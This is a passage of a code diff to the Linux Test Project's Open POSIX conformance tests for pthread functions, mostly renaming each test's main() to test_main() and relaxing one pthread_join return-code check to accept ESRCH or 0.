a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/6-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/6-2.c @@ -42,7 +42,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int ret; @@ -61,11 +61,11 @@ int main(void) /* * Now that the thread has returned, try to join it again. - * It should give the error code of ESRCH. + * It should give the error code of ESRCH or 0. */ ret = pthread_join(new_th, NULL); - if (ret != ESRCH) { - printf("Test FAILED: Return code should be ESRCH, but is: " + if (ret != ESRCH && ret != 0) { + printf("Test FAILED: Return code should be ESRCH or 0, but is: " "%d instead.\n", ret); return PTS_FAIL; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/6-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/6-3.c index ecf0498f..d9105c37 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/6-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/6-3.c @@ -164,7 +164,7 @@ static void *test(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_t th_work, th_sig1, th_sig2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/speculative/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/speculative/6-1.c index 0a48139e..127b724c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/speculative/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/speculative/6-1.c @@ -41,7 +41,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/1-1.c index 097d1618..5b6cd284 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/1-1.c @@ -31,7 +31,7 @@ static pthread_key_t keys[NUM_OF_KEYS]; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int i; void *rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/1-2.c index 553d2dae..073393e4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/1-2.c @@ -42,7 +42,7 @@ static void *a_thread_func() pthread_exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; void *value_ptr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/2-1.c index 51c89f37..18e68fbf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/2-1.c @@ -23,7 +23,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_key_t key; void *rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/3-1.c index 7e46d2d0..0b741acb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/3-1.c @@ -51,7 +51,7 @@ static void *a_thread_func() pthread_exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/speculative/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/speculative/5-1.c index 2473e02b..dd485110 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/speculative/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/speculative/5-1.c @@ -40,7 +40,7 @@ static pthread_key_t keys[PTHREAD_KEYS_MAX + 1]; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int i, rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/1-1.c index 791d0f98..7511aff1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/1-1.c @@ -30,7 +30,7 @@ #define NUM_OF_KEYS 10 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_key_t keys[NUM_OF_KEYS]; int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/1-2.c index d5e341ee..98d6f42d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/1-2.c @@ -31,7 +31,7 @@ #define NUM_OF_KEYS 10 #define KEY_VALUE 100 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_key_t keys[NUM_OF_KEYS]; int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/2-1.c index b30bebcb..48fece0d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/2-1.c @@ -53,7 +53,7 @@ static void *a_thread_func() pthread_exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/1-1.c index 534972d8..85408b64 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/1-1.c @@ -9,27 +9,27 @@ kernel to deliver a specified signal to a specified thread. Using two global values of sem1 (INTHREAD and INMAIN), we are going to - control when we want execution to be in main() and when we want - execution to be a_thread_func(). When the main() function sets sem1 to + control when we want execution to be in test_main() and when we want + execution to be a_thread_func(). When the test_main() function sets sem1 to INTHREAD and keeps looping until sem1 gets changed back to INMAIN, the a_thread_func() will be exclusively running. Similarly, when the a_thread_func() sets sem1 to INMAIN and keeps looping until sem1 gets - changed back to INTHREAD, the main() function will be exclusively + changed back to INTHREAD, the test_main() function will be exclusively running. Steps: - 1. From the main() function, create a new thread. Using the above + 1. From the test_main() function, create a new thread. Using the above methodology, let the new thread run "exclusively." 2. Inside the new thread, prepare for catching the signal indicated by SIGTOTEST, and calling a handler that sets handler_called to 1. Now - let the main() thread run "exclusively". - 3. Have main() send the signal indicated by SIGTOTEST to the new thread, + let the test_main() thread run "exclusively". + 3. Have test_main() send the signal indicated by SIGTOTEST to the new thread, using pthread_kill(). Let the new thread continue running, - and from the main function, wait until handler_called is set to + and from the test_main function, wait until handler_called is set to something other than 0. 4. In the new thread, if the handler wasn't called for more than 5 seconds, then set handler_called to -1, otherwise set it to 1. - 5. In either case, the main() function will continue execution and return + 5. In either case, the test_main() function will continue execution and return a PTS_PASS if handler_called was 1, and a PTS_FAIL if handler_called was -1. */ @@ -75,7 +75,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/1-2.c index f4c7eea5..97c63e50 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/1-2.c @@ -107,7 +107,7 @@ static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED) } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/2-1.c index 88b3a805..b840be65 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/2-1.c @@ -18,7 +18,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t main_thread; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/3-1.c index c54863f6..890c1bc5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/3-1.c @@ -16,7 +16,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t main_thread; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/7-1.c index 721d17a5..ea7406b4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/7-1.c @@ -18,7 +18,7 @@ #include <sys/types.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t main_thread; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/8-1.c index b61a0817..97b1268a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/8-1.c @@ -196,7 +196,7 @@ static void *test(void *arg PTS_ATTRIBUTE_UNUSED) } /* Main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_t th_work, th_sig1, th_sig2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/1-1.c index 75ea4618..0ef256d4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/1-1.c @@ -18,7 +18,7 @@ static pthread_mutex_t mutex1, mutex2; static pthread_mutex_t mutex3 = PTHREAD_MUTEX_INITIALIZER; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/2-1.c index b89ca30d..a0c7a17f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/2-1.c @@ -14,7 +14,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutex_t mutex; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/2-2.c index e8c39b20..461482eb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/2-2.c @@ -96,7 +96,7 @@ static struct _scenar { #define NSCENAR (sizeof(scenarii)/sizeof(scenarii[0])) /* Main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; unsigned int i, j; @@ -220,7 +220,7 @@ int main(void) } #else /* WITHOUT_XOPEN */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { output_init(); UNTESTED("This test requires XSI features"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/3-1.c index a8b032c5..60885920 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/3-1.c @@ -14,7 +14,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutex_t mutex; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/5-1.c index 61cec179..a05f5c23 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/5-1.c @@ -15,7 +15,7 @@ static pthread_mutex_t mutex; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/5-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/5-2.c index 0425a3f3..a3343717 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/5-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/5-2.c @@ -97,7 +97,7 @@ static struct _scenar { #define NSCENAR (sizeof(scenarii)/sizeof(scenarii[0])) /* Main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; unsigned int i; @@ -210,7 +210,7 @@ int main(void) } #else /* WITHOUT_XOPEN */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { output_init(); UNTESTED("This test requires XSI features"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/speculative/4-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/speculative/4-2.c index 68a0b660..655db094 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/speculative/4-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/speculative/4-2.c @@ -26,7 +26,7 @@ #define FUNCTION "pthread_mutex_destroy" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; int rc = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/1-1.c index 017d1c00..ca777948 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/1-1.c @@ -19,7 +19,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #if defined(_SC_PRIORITY_SCHEDULING) diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-1.c index ba92e5d7..ff8752ea 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-1.c @@ -24,7 +24,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #if defined(_SC_PRIORITY_SCHEDULING) diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-2.c index e75cbaa6..ea15ba85 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-2.c @@ -23,7 +23,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #if defined(_SC_PRIORITY_SCHEDULING) diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-3.c index b1f45943..19737f17 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-3.c @@ -24,7 +24,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #if defined(_SC_PRIORITY_SCHEDULING) diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/1-1.c index 10987e30..55f3f48c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/1-1.c @@ -20,7 +20,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; pthread_mutex_t mutex1, mutex2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/1-2.c index 99286d9c..93d6c4f0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/1-2.c @@ -164,7 +164,7 @@ static void *unlock_issue(void *arg PTS_ATTRIBUTE_UNUSED) } /***** main program *****/ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutex_t mtx_null, mtx_def; pthread_mutexattr_t mattr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/2-1.c index d2231031..1fdd3a43 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/2-1.c @@ -16,7 +16,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutex_t mutex; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/3-1.c index 8a9b989f..ea35c653 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/3-1.c @@ -22,7 +22,7 @@ typedef struct my_data { static my_data_t data PTS_ATTRIBUTE_UNUSED = { PTHREAD_MUTEX_INITIALIZER, 0 }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("Test PASSED\n"); return PTS_PASS; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/3-2.c index 53e4122c..a1289710 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/3-2.c @@ -170,7 +170,7 @@ static void *unlock_issue(void *arg PTS_ATTRIBUTE_UNUSED) } /***** main program *****/ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutex_t mtx_null, mtx_macro = PTHREAD_MUTEX_INITIALIZER; pthread_t thr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/4-1.c index 1df6e5af..8f137c9a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/4-1.c @@ -14,7 +14,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; pthread_mutex_t mutex; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/5-1.c index 771c85ea..4d06ba74 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/5-1.c @@ -75,7 +75,7 @@ /*********************************** Test case *****************************************/ /********************************************************************************************/ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t child; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/speculative/5-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/speculative/5-2.c index d36d675f..bd5948b1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/speculative/5-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/speculative/5-2.c @@ -80,7 +80,7 @@ /********************************************************************************************/ /*********************************** Test case *****************************************/ /********************************************************************************************/ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct utsname un; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/1-1.c index 4fccbfdf..9396d98c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/1-1.c @@ -34,7 +34,7 @@ static void *f1(void *parm); static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; static int value; /* value protected by mutex */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int i; pthread_attr_t pta; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/2-1.c index a8123ba5..09b98913 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/2-1.c @@ -14,7 +14,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutex_t mutex; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/3-1.c index 78685af3..ecb95f6e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/3-1.c @@ -273,7 +273,7 @@ static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED) } /* At last (but not least) we need a main */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_t th_work, th_sig1, th_sig2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/4-1.c index 9529f6cc..f4912784 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/4-1.c @@ -131,7 +131,7 @@ static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED) } /** parent thread function **/ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/5-1.c index 3984d6b9..b6793933 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/5-1.c @@ -132,7 +132,7 @@ static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED) } /********* main ********/ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, i, j; pthread_t th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_setprioceiling/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_setprioceiling/1-1.c index 5aa1113c..338127d8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_setprioceiling/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_setprioceiling/1-1.c @@ -19,7 +19,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #if defined(_SC_PRIORITY_SCHEDULING) diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/1-1.c index 9955929e..2eb2a196 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/1-1.c @@ -15,11 +15,11 @@ * Steps: * - * 1. 